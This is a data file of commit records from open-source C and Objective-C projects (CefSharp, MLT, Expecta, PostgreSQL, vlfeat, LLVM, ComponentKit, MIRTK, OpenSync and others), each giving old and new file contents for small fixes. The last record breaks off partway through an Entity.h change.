{"commit":"1912ee2e5a92ebde98aad2835b8ea5eef918cd8f","old_file":"CefSharp.Core\/Internals\/CefRequestCallbackWrapper.h","new_file":"CefSharp.Core\/Internals\/CefRequestCallbackWrapper.h","old_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n\nusing namespace CefSharp;\n\nnamespace CefSharp\n{\n    namespace Internals\n    {\n        public ref class CefRequestCallbackWrapper : public IRequestCallback\n        {\n        private:\n            MCefRefPtr<CefRequestCallback> _callback;\n            IFrame^ _frame;\n            IRequest^ _request;\n\n        internal:\n            CefRequestCallbackWrapper(CefRefPtr<CefRequestCallback> &callback)\n                : _callback(callback)\n            {\n            }\n\n            CefRequestCallbackWrapper(\n                CefRefPtr<CefRequestCallback> &callback,\n                IFrame^ frame,\n                IRequest^ request)\n                : _callback(callback), _frame(frame), _request(request)\n            {\n            }\n\n            !CefRequestCallbackWrapper()\n            {\n                _callback = NULL;\n            }\n\n            ~CefRequestCallbackWrapper()\n            {\n                this->!CefRequestCallbackWrapper();\n                delete _requestWrapper;\n                _requestWrapper = nullptr;\n                delete _frame;\n                _frame = nullptr;\n            }\n\n        public:\n            virtual void Continue(bool allow)\n            {\n                _callback->Continue(allow);\n                delete this;\n            }\n\n            virtual void Cancel()\n            {\n                _callback->Cancel();\n                delete this;\n            }\n        };\n    }\n}\n","new_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n\nusing namespace CefSharp;\n\nnamespace CefSharp\n{\n    namespace Internals\n    {\n        public ref class CefRequestCallbackWrapper : public IRequestCallback\n        {\n        private:\n            MCefRefPtr<CefRequestCallback> _callback;\n            IFrame^ _frame;\n            IRequest^ _request;\n\n        internal:\n            CefRequestCallbackWrapper(CefRefPtr<CefRequestCallback> &callback)\n                : _callback(callback)\n            {\n            }\n\n            CefRequestCallbackWrapper(\n                CefRefPtr<CefRequestCallback> &callback,\n                IFrame^ frame,\n                IRequest^ request)\n                : _callback(callback), _frame(frame), _request(request)\n            {\n            }\n\n            !CefRequestCallbackWrapper()\n            {\n                _callback = NULL;\n            }\n\n            ~CefRequestCallbackWrapper()\n            {\n                this->!CefRequestCallbackWrapper();\n                delete _request;\n                _request = nullptr;\n                delete _frame;\n                _frame = nullptr;\n            }\n\n        public:\n            virtual void Continue(bool allow)\n            {\n                _callback->Continue(allow);\n                delete this;\n            }\n\n            virtual void Cancel()\n            {\n                _callback->Cancel();\n                delete this;\n            }\n        };\n    }\n}\n","subject":"Fix build issue from prev. merge.","message":"Fix build issue from prev. merge.\n","lang":"C","license":"bsd-3-clause","repos":"haozhouxu\/CefSharp,VioletLife\/CefSharp,joshvera\/CefSharp,ITGlobal\/CefSharp,windygu\/CefSharp,AJDev77\/CefSharp,yoder\/CefSharp,haozhouxu\/CefSharp,jamespearce2006\/CefSharp,ruisebastiao\/CefSharp,VioletLife\/CefSharp,haozhouxu\/CefSharp,joshvera\/CefSharp,yoder\/CefSharp,windygu\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,Haraguroicha\/CefSharp,jamespearce2006\/CefSharp,AJDev77\/CefSharp,gregmartinhtc\/CefSharp,rlmcneary2\/CefSharp,twxstar\/CefSharp,windygu\/CefSharp,VioletLife\/CefSharp,joshvera\/CefSharp,gregmartinhtc\/CefSharp,gregmartinhtc\/CefSharp,illfang\/CefSharp,Haraguroicha\/CefSharp,wangzheng888520\/CefSharp,zhangjingpu\/CefSharp,twxstar\/CefSharp,Haraguroicha\/CefSharp,rlmcneary2\/CefSharp,jamespearce2006\/CefSharp,Livit\/CefSharp,Haraguroicha\/CefSharp,jamespearce2006\/CefSharp,twxstar\/CefSharp,Livit\/CefSharp,AJDev77\/CefSharp,ruisebastiao\/CefSharp,ruisebastiao\/CefSharp,yoder\/CefSharp,jamespearce2006\/CefSharp,wangzheng888520\/CefSharp,AJDev77\/CefSharp,dga711\/CefSharp,battewr\/CefSharp,joshvera\/CefSharp,NumbersInternational\/CefSharp,NumbersInternational\/CefSharp,rlmcneary2\/CefSharp,zhangjingpu\/CefSharp,Haraguroicha\/CefSharp,ITGlobal\/CefSharp,illfang\/CefSharp,battewr\/CefSharp,dga711\/CefSharp,dga711\/CefSharp,ITGlobal\/CefSharp,zhangjingpu\/CefSharp,NumbersInternational\/CefSharp,battewr\/CefSharp,gregmartinhtc\/CefSharp,wangzheng888520\/CefSharp,Livit\/CefSharp,NumbersInternational\/CefSharp,wangzheng888520\/CefSharp,VioletLife\/CefSharp,rlmcneary2\/CefSharp,twxstar\/CefSharp,Livit\/CefSharp,ruisebastiao\/CefSharp,illfang\/CefSharp,battewr\/CefSharp,zhangjingpu\/CefSharp,haozhouxu\/CefSharp,windygu\/CefSharp,yoder\/CefSharp,ITGlobal\/CefSharp"}
{"commit":"6bfe949dbd60e78c6a7d9ecc438f38e69e50f757","old_file":"src\/modules\/linsys\/factory.c","new_file":"src\/modules\/linsys\/factory.c","old_contents":"\/*\n * factory.c for Linsys SDI consumer\n*\/\n\n#include <framework\/mlt.h>\n#include <string.h>\n\nextern mlt_consumer consumer_SDIstream_init( mlt_profile profile, mlt_service_type type, const char *id, char *arg );\n\nMLT_REPOSITORY\n{\n\tMLT_REGISTER( consumer_type, \"linsys_sdi\", consumer_SDIstream_init );\n}\n","new_contents":"\/*\n * factory.c for Linsys SDI consumer\n*\/\n\n#include <framework\/mlt.h>\n#include <string.h>\n\nextern mlt_consumer consumer_SDIstream_init( mlt_profile profile, mlt_service_type type, const char *id, char *arg );\n\nMLT_REPOSITORY\n{\n\tMLT_REGISTER( consumer_type, \"sdi\", consumer_SDIstream_init );\n}\n","subject":"Change linssys_sdi consumer to just \"sdi\"","message":"Change linssys_sdi consumer to just \"sdi\"\n","lang":"C","license":"lgpl-2.1","repos":"gmarco\/mlt-orig,zzhhui\/mlt,siddharudh\/mlt,anba8005\/mlt,ttill\/MLT-roto-tracking,wideioltd\/mlt,ttill\/MLT-roto,ttill\/MLT-roto,wideioltd\/mlt,ttill\/MLT-roto-tracking,ttill\/MLT-roto-tracking,ttill\/MLT,ttill\/MLT,xzhavilla\/mlt,wideioltd\/mlt,xzhavilla\/mlt,anba8005\/mlt,xzhavilla\/mlt,gmarco\/mlt-orig,mltframework\/mlt,ttill\/MLT-roto-tracking,anba8005\/mlt,mltframework\/mlt,ttill\/MLT-roto-tracking,j-b-m\/mlt,ttill\/MLT-roto-tracking,wideioltd\/mlt,ttill\/MLT-roto-tracking,ttill\/MLT-roto-tracking,zzhhui\/mlt,gmarco\/mlt-orig,gmarco\/mlt-orig,mltframework\/mlt,mltframework\/mlt,wideioltd\/mlt,ttill\/MLT,zzhhui\/mlt,anba8005\/mlt,j-b-m\/mlt,j-b-m\/mlt,ttill\/MLT-roto,anba8005\/mlt,siddharudh\/mlt,mltframework\/mlt,mltframework\/mlt,zzhhui\/mlt,ttill\/MLT,xzhavilla\/mlt,zzhhui\/mlt,siddharudh\/mlt,ttill\/MLT-roto,anba8005\/mlt,mltframework\/mlt,j-b-m\/mlt,ttill\/MLT,xzhavilla\/mlt,gmarco\/mlt-orig,ttill\/MLT,xzhavilla\/mlt,ttill\/MLT-roto,ttill\/MLT,zzhhui\/mlt,wideioltd\/mlt,siddharudh\/mlt,zzhhui\/mlt,siddharudh\/mlt,gmarco\/mlt-orig,ttill\/MLT-roto,j-b-m\/mlt,j-b-m\/mlt,mltframework\/mlt,siddharudh\/mlt,wideioltd\/mlt,j-b-m\/mlt,ttill\/MLT-roto,siddharudh\/mlt,siddharudh\/mlt,zzhhui\/mlt,xzhavilla\/mlt,wideioltd\/mlt,xzhavilla\/mlt,gmarco\/mlt-orig,ttill\/MLT,anba8005\/mlt,ttill\/MLT-roto,anba8005\/mlt,anba8005\/mlt,xzhavilla\/mlt,ttill\/MLT,j-b-m\/mlt,mltframework\/mlt,ttill\/MLT-roto-tracking,zzhhui\/mlt,siddharudh\/mlt,ttill\/MLT-roto,mltframework\/mlt,gmarco\/mlt-orig,gmarco\/mlt-orig,j-b-m\/mlt,wideioltd\/mlt,j-b-m\/mlt"}
{"commit":"fcb91db238536949ceca5bcbe9c93b61b658240a","old_file":"src\/matchers\/EXPMatchers+beIdenticalTo.h","new_file":"src\/matchers\/EXPMatchers+beIdenticalTo.h","old_contents":"#import \"Expecta.h\"\n\nEXPMatcherInterface(beIdenticalTo, (void *expected));\n","new_contents":"#import \"Expecta.h\"\n\nEXPMatcherInterface(_beIdenticalTo, (void *expected));\n\n#if __has_feature(objc_arc)\n#define beIdenticalTo(expected) _beIdenticalTo((__bridge void*)expected)\n#else\n#define beIdenticalTo _beIdenticalTo\n#endif\n","subject":"Fix ARC warning and avoid having to bridge id objects","message":"Fix ARC warning and avoid having to bridge id objects\n","lang":"C","license":"mit","repos":"iguchunhui\/expecta,iosdev-republicofapps\/expecta,ashfurrow\/expecta,ashfurrow\/expecta,Lightricks\/expecta,specta\/expecta,jmoody\/expecta,jmburges\/expecta,modocache\/expecta,jmoody\/expecta,suxinde2009\/expecta,Bogon\/expecta,github\/expecta,tonyarnold\/expecta,Bogon\/expecta,Lightricks\/expecta,jmburges\/expecta,suxinde2009\/expecta,iosdev-republicofapps\/expecta,PatrykKaczmarek\/expecta,modocache\/expecta,tonyarnold\/expecta,iosdev-republicofapps\/expecta,ashfurrow\/expecta,github\/expecta,tonyarnold\/expecta,PatrykKaczmarek\/expecta,PatrykKaczmarek\/expecta,tonyarnold\/expecta,jmoody\/expecta,udemy\/expecta,ashfurrow\/expecta,jmoody\/expecta,iosdev-republicofapps\/expecta,udemy\/expecta,jmburges\/expecta,wessmith\/expecta,PatrykKaczmarek\/expecta,iguchunhui\/expecta,jmburges\/expecta,modocache\/expecta,modocache\/expecta,wessmith\/expecta"}
{"commit":"20cf8ae478c2712d4c211b49868e334357f05356","old_file":"src\/include\/storage\/copydir.h","new_file":"src\/include\/storage\/copydir.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n * copydir.h\n *\t  Header for src\/port\/copydir.c compatibility functions.\n *\n * Portions Copyright (c) 1996-2010, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n * src\/include\/storage\/copydir.h\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef COPYDIR_H\n#define COPYDIR_H\n\nextern void copydir(char *fromdir, char *todir, bool recurse);\n\n#endif   \/* COPYDIR_H *\/\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * copydir.h\n *\t  Copy a directory.\n *\n * Portions Copyright (c) 1996-2010, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n * src\/include\/storage\/copydir.h\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef COPYDIR_H\n#define COPYDIR_H\n\nextern void copydir(char *fromdir, char *todir, bool recurse);\n\n#endif   \/* COPYDIR_H *\/\n","subject":"Fix copy-and-pasteo a little more completely.","message":"Fix copy-and-pasteo a little more completely.\n\ncopydir.c is no longer in src\/port\n","lang":"C","license":"apache-2.0","repos":"50wu\/gpdb,50wu\/gpdb,arcivanov\/postgres-xl,pavanvd\/postgres-xl,Postgres-XL\/Postgres-XL,pavanvd\/postgres-xl,techdragon\/Postgres-XL,oberstet\/postgres-xl,adam8157\/gpdb,lisakowen\/gpdb,tpostgres-projects\/tPostgres,xinzweb\/gpdb,ashwinstar\/gpdb,pavanvd\/postgres-xl,techdragon\/Postgres-XL,postmind-net\/postgres-xl,tpostgres-projects\/tPostgres,ovr\/postgres-xl,snaga\/postgres-xl,ashwinstar\/gpdb,snaga\/postgres-xl,tpostgres-projects\/tPostgres,lisakowen\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,snaga\/postgres-xl,kmjungersen\/PostgresXL,postmind-net\/postgres-xl,ashwinstar\/gpdb,pavanvd\/postgres-xl,oberstet\/postgres-xl,yazun\/postgres-xl,greenplum-db\/gpdb,techdragon\/Postgres-XL,snaga\/postgres-xl,oberstet\/postgres-xl,ashwinstar\/gpdb,ovr\/postgres-xl,xinzweb\/gpdb,postmind-net\/postgres-xl,lisakowen\/gpdb,adam8157\/gpdb,kmjungersen\/PostgresXL,adam8157\/gpdb,jmcatamney\/gpdb,yazun\/postgres-xl,jmcatamney\/gpdb,jmcatamney\/gpdb,Postgres-XL\/Postgres-XL,postmind-net\/postgres-xl,lisakowen\/gpdb,Postgres-XL\/Postgres-XL,kmjungersen\/PostgresXL,greenplum-db\/gpdb,adam8157\/gpdb,yazun\/postgres-xl,xinzweb\/gpdb,lisakowen\/gpdb,oberstet\/postgres-xl,xinzweb\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,ovr\/postgres-xl,greenplum-db\/gpdb,greenplum-db\/gpdb,pavanvd\/postgres-xl,lisakowen\/gpdb,oberstet\/postgres-xl,zeroae\/postgres-xl,kmjungersen\/PostgresXL,adam8157\/gpdb,arcivanov\/postgres-xl,techdragon\/Postgres-XL,zeroae\/postgres-xl,arcivanov\/postgres-xl,jmcatamney\/gpdb,50wu\/gpdb,50wu\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,jmcatamney\/gpdb,zeroae\/postgres-xl,adam8157\/gpdb,snaga\/postgres-xl,lisakowen\/gpdb,tpostgres-projects\/tPostgres,ovr\/postgres-xl,greenplum-db\/gpdb,Postgres-XL\/Postgres-XL,zeroae\/postgres-xl,arcivanov\/postgres-xl,xinzweb\/gpdb,arcivanov\/postgres-xl,xinzweb\/gpdb,techdragon\/Postgres-XL,jmcatamney\/gpdb,arcivanov\/postgres-xl,kmjungersen\/PostgresXL,ovr\/postgres-xl,tpostgres-projects\/tPostgres,greenplum-db\/gpdb,zeroae\/postgres-xl,postmind-net\/postgres-xl,yazun\/postgres-xl,ashwinstar\/gpdb,50wu\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,Postgres-XL\/Postgres-XL,adam8157\/gpdb,yazun\/postgres-xl,50wu\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,50wu\/gpdb,ashwinstar\/gpdb"}
{"commit":"13eecec8a8ed0db9e487a33e9ccaffbc229657eb","old_file":"src\/ib.c","new_file":"src\/ib.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <vl\/ib.h>\n\nint main()\n{\n    vl_node nrows = 30;\n    vl_node ncols = 3;\n    vl_prob * Pic = malloc(sizeof(vl_prob)*nrows*ncols);\n    int r,c;\n    printf(\"Pic = [\");\n    for(r=0; r<nrows; r++)\n    {\n        for(c=0; c<ncols; c++)\n        {\n            Pic[r*ncols+c] = rand() % 100;\n            printf(\"%f \", Pic[r*ncols+c]);\n        }\n        printf(\"; ...\\n\");\n    }\n    printf(\"];\\n\");\n\n    printf(\"IB starting\\n\");\n    \/\/ parents always has size 2*nrows-1\n    vl_node * parents = vl_ib(Pic, nrows, ncols);\n    for(r=0; r<2*nrows-1; r++)\n        printf(\"%d => %d\\n\", r, parents[r]);\n\n    free(parents);\n    free(Pic);\n\n    printf(\"IB done\\n\");\n    return 0;\n}\n\n","subject":"Add a simple IB test program","message":"Add a simple IB test program\n","lang":"C","license":"bsd-2-clause","repos":"vlfeat\/vlfeat,hongzhili\/vlfeat,mylxiaoyi\/vlfeat,j-bo\/vlfeat,j-bo\/vlfeat,CansenJIANG\/vlfeat,hongzhili\/vlfeat,erexhepa\/vlfeat,hongzhili\/vlfeat,cvfish\/vlfeat,cvfish\/vlfeat,rxl194\/vlfeat,CansenJIANG\/vlfeat,WangDequan\/vlfeat,rxl194\/vlfeat,richarddzh\/vlfeat,WangDequan\/vlfeat,erexhepa\/vlfeat,erexhepa\/vlfeat,j-bo\/vlfeat,CansenJIANG\/vlfeat,qubick\/vlfeat,vlfeat\/vlfeat,qubick\/vlfeat,hongzhili\/vlfeat,cvfish\/vlfeat,mylxiaoyi\/vlfeat,CansenJIANG\/vlfeat,rxl194\/vlfeat,cvfish\/vlfeat,hongzhili\/vlfeat,mylxiaoyi\/vlfeat,mylxiaoyi\/vlfeat,richarddzh\/vlfeat,vlfeat\/vlfeat,j-bo\/vlfeat,rxl194\/vlfeat,vlfeat\/vlfeat,mylxiaoyi\/vlfeat,WangDequan\/vlfeat,erexhepa\/vlfeat,richarddzh\/vlfeat,WangDequan\/vlfeat,qubick\/vlfeat,CansenJIANG\/vlfeat,qubick\/vlfeat,cvfish\/vlfeat,rxl194\/vlfeat,richarddzh\/vlfeat,erexhepa\/vlfeat,WangDequan\/vlfeat,vlfeat\/vlfeat,hongzhili\/vlfeat,vlfeat\/vlfeat,mylxiaoyi\/vlfeat,qubick\/vlfeat,qubick\/vlfeat,erexhepa\/vlfeat,richarddzh\/vlfeat,rxl194\/vlfeat,WangDequan\/vlfeat,cvfish\/vlfeat,CansenJIANG\/vlfeat,j-bo\/vlfeat,richarddzh\/vlfeat"}
{"commit":"89e735673ae02cbdba08ed6d7b543453cbf34e17","old_file":"test\/FrontendC\/2010-05-31-palignr.c","new_file":"test\/FrontendC\/2010-05-31-palignr.c","old_contents":"","new_contents":"\/\/ RUN: not %llvmgcc -mssse3 -S -o \/dev\/null %s |& grep \"error: mask must be an immediate\"\n\/\/ XFAIL: *\n\/\/ XTARGET: x86,i386,i686\n\n#include <tmmintrin.h>\n\nextern int i;\n\nint main ()\n{\n#if defined( __SSSE3__ )\n\n  typedef int16_t     vSInt16         __attribute__ ((__vector_size__ (16)));\n\n  short   dtbl[] = {1,2,3,4,5,6,7,8};\n  vSInt16 *vdtbl = (vSInt16*) dtbl;\n\n  vSInt16 v0;\n  v0 = *vdtbl;\n  v0 = _mm_alignr_epi8(v0, v0, i);\n\n  return 0;\n#endif\n}\n","subject":"Add a test for the llvm-gcc commit in r90200.","message":"Add a test for the llvm-gcc commit in r90200.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@105253 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap"}
{"commit":"435c17a4ba235e82d5b7136e6841e6cb0eb6044e","old_file":"problem_002.c","new_file":"problem_002.c","old_contents":"","new_contents":"\/* Each new term in the Fibonacci sequence is generated by adding the previous\n * two terms. By starting with 1 and 2, the first 10 terms will be:\n *\n * 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...\n *\n * By considering the terms in the Fibonacci sequence whose values do not\n * exceed four million, find the sum of the even-valued terms.\n *\/\n\n#include <stdio.h>\n\n#define LIMIT 4000000\n\nint\nmain(int argc, char **argv)\n{\n    int prev = 0, next = 1, sum = 0, cur = 0;\n\n    do {\n        cur = prev + next;\n        if(cur % 2 == 0) {\n            sum += cur;\n        }\n        prev = next;\n        next = cur;\n    } while (cur < LIMIT);\n    printf(\"%i\", sum);\n    return 0;\n}\n","subject":"Add solution for problem 2","message":"Add solution for problem 2\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
{"commit":"5ce583eacdc66fec34b8788793170b3f860f14b5","old_file":"ComponentKit\/Debug\/CKComponentHierarchyDebugHelper.h","new_file":"ComponentKit\/Debug\/CKComponentHierarchyDebugHelper.h","old_contents":"\/*\n *  Copyright (c) 2014-present, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import <ComponentKit\/CKComponentViewConfiguration.h>\n\n@class CKComponent;\n@class UIView;\n\n\/**\n CKComponentHierarchyDebugHelper allows\n *\/\n@interface CKComponentHierarchyDebugHelper : NSObject\n\/**\n Describe the component hierarchy starting from the window. This recursively searches downwards in the view hierarchy to\n find views which have a lifecycle manager, from which we can get the component layout hierarchies.\n @return A string with a description of the hierarchy.\n *\/\n+ (NSString *)componentHierarchyDescription;\n\n@end\n","new_contents":"\/*\n *  Copyright (c) 2014-present, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import <ComponentKit\/CKComponentViewConfiguration.h>\n\n@class CKComponent;\n@class UIView;\n\n\/**\n CKComponentHierarchyDebugHelper allows\n *\/\n@interface CKComponentHierarchyDebugHelper : NSObject\n\/**\n Describe the component hierarchy starting from the window. This recursively searches downwards in the view hierarchy to\n find views which have a lifecycle manager, from which we can get the component layout hierarchies.\n @return A string with a description of the hierarchy.\n *\/\n+ (NSString *)componentHierarchyDescription NS_EXTENSION_UNAVAILABLE(\"Recursively describes components using -[UIApplication keyWindow]\");\n\n@end\n","subject":"Mark remaining APIs unsafe in extensions","message":"Mark remaining APIs unsafe in extensions\n\nThis is a follow up to #534 that should help us close out #390.\n","lang":"C","license":"bsd-3-clause","repos":"bricooke\/componentkit,yiding\/componentkit,dshahidehpour\/componentkit,eczarny\/componentkit,avnerbarr\/componentkit,dshahidehpour\/componentkit,dshahidehpour\/componentkit,bricooke\/componentkit,bricooke\/componentkit,MDSilber\/componentkit,eczarny\/componentkit,MDSilber\/componentkit,yiding\/componentkit,bricooke\/componentkit,MDSilber\/componentkit,yiding\/componentkit,eczarny\/componentkit,avnerbarr\/componentkit,yiding\/componentkit,MDSilber\/componentkit,avnerbarr\/componentkit,avnerbarr\/componentkit"}
{"commit":"07e8498f075bab1491508eb17412dfa111d7de03","old_file":"src\/spatial\/codegen\/cppgen\/resources\/datastructures\/static\/PrettyPrintMacros.h","new_file":"src\/spatial\/codegen\/cppgen\/resources\/datastructures\/static\/PrettyPrintMacros.h","old_contents":"","new_contents":"#define KNRM  \"\\x1B[0m\"\n#define KRED  \"\\x1B[31m\"\n#define KGRN  \"\\x1B[32m\"\n#define KYEL  \"\\x1B[33m\"\n#define KBLU  \"\\x1B[34m\"\n#define KMAG  \"\\x1B[35m\"\n#define KCYN  \"\\x1B[36m\"\n#define KWHT  \"\\x1B[37m\"\n\n#define PRINT_RED(...) \\\n\tprintf(\"%s\", KRED);  \\\n  printf(__VA_ARGS__); \\\n\tprintf(\"%s\", KNRM);  \\\n\n#define PRINT_GREEN(...) \\\n\tprintf(\"%s\", KGRN);  \\\n  printf(__VA_ARGS__); \\\n\tprintf(\"%s\", KNRM);  \\\n","subject":"Add pretty (color) printing macros. Unused currently.","message":"Add pretty (color) printing macros. Unused currently.\n","lang":"C","license":"mit","repos":"stanford-ppl\/spatial-lang,stanford-ppl\/spatial-lang,stanford-ppl\/spatial-lang,stanford-ppl\/spatial-lang,stanford-ppl\/spatial-lang"}
{"commit":"51e169a1422fe902f3b9aa165e7058ea636baf22","old_file":"Modules\/Common\/include\/mirtkStatus.h","new_file":"Modules\/Common\/include\/mirtkStatus.h","old_contents":"\/*\n * Medical Image Registration ToolKit (MIRTK)\n *\n * Copyright 2013-2015 Imperial College London\n * Copyright 2013-2015 Andreas Schuh\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MIRTK_Status_H\n#define MIRTK_Status_H\n\nnamespace mirtk {\n\n\n\/\/ -----------------------------------------------------------------------------\n\/\/\/ Enumeration of common states for entities such as objective function parameters\nenum Status\n{\n  Active,\n  Passive,\n};\n\n\n} \/\/ namespace mirtk\n\n#endif \/\/ MIRTK_Status_H\n","new_contents":"\/*\n * Medical Image Registration ToolKit (MIRTK)\n *\n * Copyright 2013-2015 Imperial College London\n * Copyright 2013-2015 Andreas Schuh\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MIRTK_Status_H\n#define MIRTK_Status_H\n\nnamespace mirtk {\n\n\n\/\/ -----------------------------------------------------------------------------\n\/\/\/ Enumeration of common states for entities such as objective function parameters\nenum Status\n{\n  Active,\n  Passive\n};\n\n\n} \/\/ namespace mirtk\n\n#endif \/\/ MIRTK_Status_H\n","subject":"Remove needless comma after last enumeration value","message":"style: Remove needless comma after last enumeration value [Common]\n","lang":"C","license":"apache-2.0","repos":"schuhschuh\/MIRTK,BioMedIA\/MIRTK,schuhschuh\/MIRTK,BioMedIA\/MIRTK,stefanpsz\/MIRTK,stefanpsz\/MIRTK,stefanpsz\/MIRTK,schuhschuh\/MIRTK,BioMedIA\/MIRTK,BioMedIA\/MIRTK,schuhschuh\/MIRTK,stefanpsz\/MIRTK"}
{"commit":"ea517d3d489b0b315a1c5fcd8af176423b0a6425","old_file":"opensync\/plugin\/opensync_plugin_connection_internals.h","new_file":"opensync\/plugin\/opensync_plugin_connection_internals.h","old_contents":"","new_contents":"\/*\n * libopensync - A synchronization framework\n * Copyright (C) 2008  Daniel Gollub <dgollub@suse.de>\n * \n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA\n * \n *\/\n\n#ifndef _OPENSYNC_PLUGIN_CONNECTION_INTERNALS_H_\n#define _OPENSYNC_PLUGIN_CONNECTION_INTERNALS_H_\n\n\/*! @brief OSyncPluginConnectionType String Map\n * \n * @ingroup OSyncPluginConnectionInternalsAPI \n **\/\n\n\ntypedef struct {\n\tOSyncPluginConnectionType type;\n\tconst char *string;\n} OSyncPluginConnectionTypeString;\n\nconst char *osync_plugin_connection_get_type_string(OSyncPluginConnectionType conn_type);\n\n#endif \/*_OPENSYNC_PLUGIN_CONNECTION_INTERNALS_H_*\/\n\n","subject":"Add missing file from previous commit.","message":"Add missing file from previous commit.\n\n\ngit-svn-id: e31799a7ad59d6ea355ca047c69e0aee8a59fcd3@4287 53f5c7ee-bee3-0310-bbc5-ea0e15fffd5e\n","lang":"C","license":"lgpl-2.1","repos":"luizluca\/opensync-luizluca,luizluca\/opensync-luizluca"}
{"commit":"71b7d664f70030e12ccd7f99729f50861fb4e858","old_file":"Engine\/Entity.h","new_file":"Engine\/Entity.h","old_contents":"#ifndef __ENTITY_H__\n#define __ENTITY_H__\n\n#include \"ModuleCollision.h\"\n\nclass Entity\n{\npublic:\n\n\tEntity() : parent(nullptr) {}\n\n\tEntity(Entity* parent) : parent(parent) {}\n\n\tvirtual ~Entity() {}\n\n\t\/\/ Entity lifecycle methods\n\n\tvirtual bool Start()\n\t{\n\t\treturn true;\n\t}\n\n\tvirtual bool Start(bool active)\n\t{\n\t\tthis->active = active;\n\t\treturn true;\n\t}\n\n\tbool Enable()\n\t{\n\t\tif (!active)\n\t\t\treturn active = Start();\n\t\treturn true;\n\t}\n\n\tbool Disable()\n\t{\n\t\tif (active)\n\t\t\treturn active = !CleanUp();\n\t\treturn false;\n\t}\n\n\tvirtual void PreUpdate() {}\n\n\tvirtual void Update() {}\n\n\tvirtual void PostUpdate() {}\n\n\tvirtual bool CleanUp()\n\t{\n\t\treturn true;\n\t}\n\n\t\/\/ Callbacks\n\tvirtual bool OnCollision(Collider origin, Collider other)\n\t{\n\t\treturn true;\n\t}\n\nprivate:\n\tbool active = true;\n\tEntity* parent;\n};\n\n#endif \/\/ __ENTITY_H__\n","new_contents":"#ifndef __ENTITY_H__\n#define __ENTITY_H__\n\n#include \"ModuleCollision.h\"\n\nclass Entity\n{\npublic:\n\n\tEntity() : Parent(nullptr) {}\n\n\tEntity(Entity* parent) : Parent(parent) {}\n\n\tvirtual ~Entity() {}\n\n\t\/\/ Entity lifecycle methods\n\n\tvirtual bool 